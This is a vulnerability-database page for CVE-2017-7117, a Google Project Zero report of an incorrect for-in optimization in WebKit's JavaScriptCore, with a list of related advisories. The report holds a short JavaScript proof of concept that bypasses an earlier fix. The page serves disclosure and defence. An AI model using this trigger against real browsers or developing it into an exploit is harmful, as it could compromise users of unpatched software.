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WebKit JSC Incorrect Optimization
🗓️ 03 Oct 2017 00:00:00Reported by Google Security ResearchType 
packetstorm🔗 packetstormsecurity.com👁 50 Views
| Reporter | Title | Published | Views | Family All 61 |
|---|---|---|---|---|
 | WebKit JSC Incorrect Optimization Vulnerability | 4 Oct 201700:00 | – | zdt |
| WebKitGTK+ Code Execution / Cookie Handling / Memory Corruption Vulnerabilities | 19 Oct 201700:00 | – | zdt |
 | webkit2-gtk3 -- multiple vulnerabilities | 18 Oct 201700:00 | – | freebsd |
 | Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Apple Safari | 11 Mar 202601:02 | – | githubexploit |
 | Apple Safari < 11.0 Multiple Vulnerabilities | 8 Apr 201900:00 | – | nessus |
| Apple iOS < 11.0 Multiple Vulnerabilities (APPLE-SA:APPLE-SA-2017-09-19-1) | 17 Apr 201900:00 | – | nessus |
| Apple iOS < 11.0.1 Multiple Vulnerabilities | 17 Apr 201900:00 | – | nessus |
| Apple TV < 11 Multiple Vulnerabilities | 22 Sep 201700:00 | – | nessus |
| Apple iOS < 11 Multiple Vulnerabilities | 21 Sep 201700:00 | – | nessus |
| FreeBSD : webkit2-gtk3 -- multiple vulnerabilities (1ce95bc7-3278-11e8-b527-00012e582166) (Spectre) | 29 Mar 201800:00 | – | nessus |
10
`WebKit: JSC: Incorrect for-in optimization #2
CVE-2017-7117
The following PoC bypasses the fix for the https://bugs.chromium.org/p/project-zero/issues/detail?id=1263 WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal
PoC:
function f() {
let o = {};
for (let i in {xx: 0}) {
for (i of [0]) {
}
print(o[i]);
}
}
f();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
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03 Oct 2017 00:00Current
7High risk
Vulners AI Score7
EPSS0.0914